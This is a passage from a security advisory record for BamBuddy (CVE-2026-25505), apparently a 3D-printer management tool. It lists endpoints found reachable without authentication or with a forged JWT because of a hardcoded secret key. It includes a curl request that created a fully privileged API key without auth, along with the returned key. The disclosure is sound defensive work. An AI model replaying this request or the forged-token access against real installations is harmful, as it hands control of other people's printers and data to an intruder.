NO AUTH REQUIRED\n /projects/1/archives: NO AUTH REQUIRED\n /projects/1/queue: NO AUTH REQUIRED\n /projects/1/bom: NO AUTH REQUIRED\n /projects/1/timeline: NO AUTH REQUIRED\n\n[LIBRARY]\n /library/folders: NO AUTH REQUIRED\n /library/folders/by-archive/1: NO AUTH REQUIRED\n /library/folders/by-project/1: NO AUTH REQUIRED\n /library/files: NO AUTH REQUIRED\n /library/stats: NO AUTH REQUIRED\n /library/folders/1: NO AUTH REQUIRED\n /library/files/1: 404 / 404\n /library/files/1/plates: 404 / 404\n /library/files/1/gcode: 404 / 404\n /library/files/1/filament-requirements: 404 / 404\n\n[API_KEYS]\n /api-keys/: NO AUTH REQUIRED\n /api-keys/1: NO AUTH REQUIRED\n\n[WEBHOOK]\n /webhook/printer/1/status: 401 / 401\n /webhook/queue: 401 / 401\n\n[AMS_HISTORY]\n /ams-history/1/1: NO AUTH REQUIRED\n\n[SUPPORT]\n /support/debug-logging: NO AUTH REQUIRED\n /support/logs: NO AUTH REQUIRED\n\n[DISCOVERY]\n /discovery/info: NO AUTH REQUIRED\n /discovery/status: NO AUTH REQUIRED\n /discovery/printers: NO AUTH REQUIRED\n /discovery/scan/status: NO AUTH REQUIRED\n\n[PENDING_UPLOADS]\n /pending-uploads/: NO AUTH REQUIRED\n /pending-uploads/count: NO AUTH REQUIRED\n /pending-uploads/1: 404 / 404\n\n[FIRMWARE]\n /firmware/updates: NO AUTH REQUIRED\n /firmware/updates/1: NO AUTH REQUIRED\n /firmware/latest: NO AUTH REQUIRED\n\n[GITHUB_BACKUP]\n /github-backup/config: NO AUTH REQUIRED\n /github-backup/status: NO AUTH REQUIRED\n /github-backup/logs: NO AUTH REQUIRED\n\n[METRICS]\n /metrics: 401 / 401\n\n======================================================================\n\n[SUMMARY]\n\nEndpoints accessible WITHOUT authentication (77):\n - /system/info\n - /auth/status\n - /settings\n - /settings/check-ffmpeg\n - /settings/spoolman\n - /settings/backup\n - /settings/virtual-printer/models\n - /settings/virtual-printer\n - /settings/mqtt/status\n - /printers/1/camera/status\n - /printers/1/camera/plate-detection/status\n - /printers/1/camera/plate-detection/references\n - /printers/1/kprofiles/notes\n - /archives/\n - /archives/analysis/failures\n - /archives/stats\n - /archives/tags\n - /archives/1\n - /archives/1/similar\n - /archives/1/duplicates\n - /archives/1/capabilities\n - /archives/1/gcode\n - /archives/1/plates\n - /archives/1/filament-requirements\n - /archives/1/project-page\n - /filaments/\n - /filaments/1\n - /filaments/by-type/pla\n - /cloud/status\n - /cloud/fields\n - /cloud/fields/print\n - /queue/\n - /notifications/\n - /notifications/logs\n - /notifications/logs/stats\n - /notification-templates\n - /notification-templates/variables\n - /notification-templates/1\n - /updates/version\n - /updates/check\n - /updates/status\n - /maintenance/types\n - /maintenance/overview\n - /maintenance/summary\n - /maintenance/printers/1\n - /maintenance/items/1/history\n - /external-links/\n - /projects\n - /projects/templates\n - /projects/1\n - /projects/1/archives\n - /projects/1/queue\n - /projects/1/bom\n - /projects/1/timeline\n - /library/folders\n - /library/folders/by-archive/1\n - /library/folders/by-project/1\n - /library/files\n - /library/stats\n - /library/folders/1\n - /api-keys/\n - /api-keys/1\n - /ams-history/1/1\n - /support/debug-logging\n - /support/logs\n - /discovery/info\n - /discovery/status\n - /discovery/printers\n - /discovery/scan/status\n - /pending-uploads/\n - /pending-uploads/count\n - /firmware/updates\n - /firmware/updates/1\n - /firmware/latest\n - /github-backup/config\n - /github-backup/status\n - /github-backup/logs\n\nEndpoints accessible with FORGED JWT only (20):\n - /auth/me\n - /users\n - /users/1\n - /users/1/items-count\n - /groups\n - /groups/permissions\n - /groups/1\n - /printers/\n - /printers/usb-cameras\n - /printers/1\n - /printers/1/status\n - /printers/1/current-print-user\n - /printers/1/cover\n - /printers/1/files\n - /printers/1/storage\n - /printers/1/logging\n - /printers/1/slot-presets\n - /printers/1/slot-presets/1/1\n - /printers/1/print/objects\n - /printers/1/runtime-debug\n\nEndpoints that rejected both (20):\n - /printers/1/camera/test (no_auth: ERROR, jwt: ERROR)\n - /printers/1/kprofiles/ (no_auth: ERROR, jwt: ERROR)\n - /archives/search (no_auth: 422, jwt: 422)\n - /archives/compare (no_auth: 422, jwt: 422)\n - /archives/1/source (no_auth: 404, jwt: 404)\n - /cloud/settings (no_auth: 401, jwt: 401)\n - /cloud/settings/1 (no_auth: 401, jwt: 401)\n - /cloud/devices (no_auth: 401, jwt: 401)\n - /cloud/firmware-updates (no_auth: 401, jwt: 401)\n - /queue/1 (no_auth: 404, jwt: 404)\n - /notifications/1 (no_auth: 404, jwt: 404)\n - /external-links/1 (no_auth: 404, jwt: 404)\n - /library/files/1 (no_auth: 404, jwt: 404)\n - /library/files/1/plates (no_auth: 404, jwt: 404)\n - /library/files/1/gcode (no_auth: 404, jwt: 404)\n - /library/files/1/filament-requirements (no_auth: 404, jwt: 404)\n - /webhook/printer/1/status (no_auth: 401, jwt: 401)\n - /webhook/queue (no_auth: 401, jwt: 401)\n - /pending-uploads/1 (no_auth: 404, jwt: 404)\n - /metrics (no_auth: 401, jwt: 401)\n```\n\n\u003c/details\u003e\n\nWhile this script only tests the GET endpoints, these vulnerabilities are not exclusive to GET endpoints. The GET endpoints were easiest to script since they generally don\u0027t require many parameters, but other methods still appear vulnerable. I manually tested `POST /api/v1/api-keys/` and was able to create a new API key with all permissions without auth:\n```bash\ncurl \u0027http://10.0.0.4:8000/api/v1/api-keys/\u0027 -X POST -H \u0027Content-Type: application/json\u0027 --data-raw \u0027{\"name\":\"new key\",\"can_queue\":true,\"can_control_printer\":true,\"can_read_status\":true}\u0027\n```\nyields\n```json\n{\"id\":7,\"name\":\"new key\",\"key_prefix\":\"bb_QW2su...\",\"can_queue\":true,\"can_control_printer\":true,\"can_read_status\":true,\"printer_ids\":null,\"enabled\":true,\"last_used\":null,\"created_at\":\"2026-02-01T23:14:15\",\"expires_at\":null,\"key\":\"bb_QW2suZVIHiUbadSyyAMrnmf0zFhDG5e9BSVBvb4ZN-w\"}\n```\n\n### Impact\nBamBuddy is vulnerable to unauthorized access and control",
"id": "GHSA-gc24-px2r-5qmf",
"modified": "2026-02-06T21:38:03Z",
"published": "2026-02-02T21:21:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/maziggy/bambuddy/security/advisories/GHSA-gc24-px2r-5qmf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25505"
},
{
"type": "WEB",
"url": "https://github.com/maziggy/bambuddy/pull/225"
},
{
"type": "WEB",
"url": "https://github.com/maziggy/bambuddy/commit/a82f9278d2d587b7042a0858aab79fd8b6e3add9"
},
{
"type": "WEB",
"url": "https://github.com/maziggy/bambuddy/commit/c31f2968889c855f1ffacb700c2c9970deb2a6fb"
},
{
"type": "PACKAGE",
"url": "https://github.com/maziggy/bambuddy"
},
{
"type": "WEB",
"url": "https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28"
},
{
"type": "WEB",
"url": "https://github.com/maziggy/bambuddy/blob/main/CHANGELOG.md"
},
{
"type": "WEB",
"url": "https://github.com/maziggy/bambuddy/releases/tag/v0.1.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Bambuddy Uses Hardcoded Secret Key + Many API Endpoints do not Require Authentication"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.